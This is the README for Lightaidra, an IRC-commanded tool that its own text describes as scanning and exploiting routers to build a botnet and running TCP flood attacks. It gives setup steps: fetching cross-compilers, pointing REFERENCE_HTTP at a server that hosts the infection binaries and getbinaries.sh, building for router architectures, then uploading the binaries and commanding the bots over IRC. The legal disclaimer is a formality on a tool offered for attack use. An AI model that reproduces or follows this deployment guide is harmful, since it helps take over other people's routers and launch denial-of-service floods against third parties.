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Lightaidra

Legal Disclaimer

It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

Description

Lightaidra is a mass-tool commanded by irc that allows scanning and exploiting routers for make BOTNET (in rx-bot style), in addition to this, with aidra you can perform some attacks with tcp flood.

Configuration

The installation is just a little complicated, but not hard!

deftcode ~ $ tar zxvf lightaidra*
deftcode ~ $ cd lightaidra*

If cross compilers are not included in bin/ directory you will need to download these cross-compilers and extract them into lightaidra/bin/

http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2 http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2 http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2 http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2 http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2

Config.h

IMPORTANT: REFERENCE_HTTP in include/config.h must be the server where you upload the binaries (mipsel, mips, arm, ppc, sh4) and getbinaries.sh. If you change the name of binaries you must update the Makefile and getbinaries.sh too.

deftcode ~ $ vi include/config.h

Build binaries

deftcode ~ $ make x86_32 (for 32bit)
deftcode ~ $ make x86_64 (for 64bit)
deftcode ~ # ./bin/x86_64

Build binaries for MIPSEL, MIPS, ARM, PPC, SUPERH

deftcode ~ $ make mipsel mips arm ppc superh

Now start your httpd and upload the binaries and getbinaries.sh Now go to IRC server and command your bot.

BUGS

If you find bugs (which is quite likely), please submit them to eurialo@deftcode.ninja with specific information, such as your command-line, the nature of the bug and other.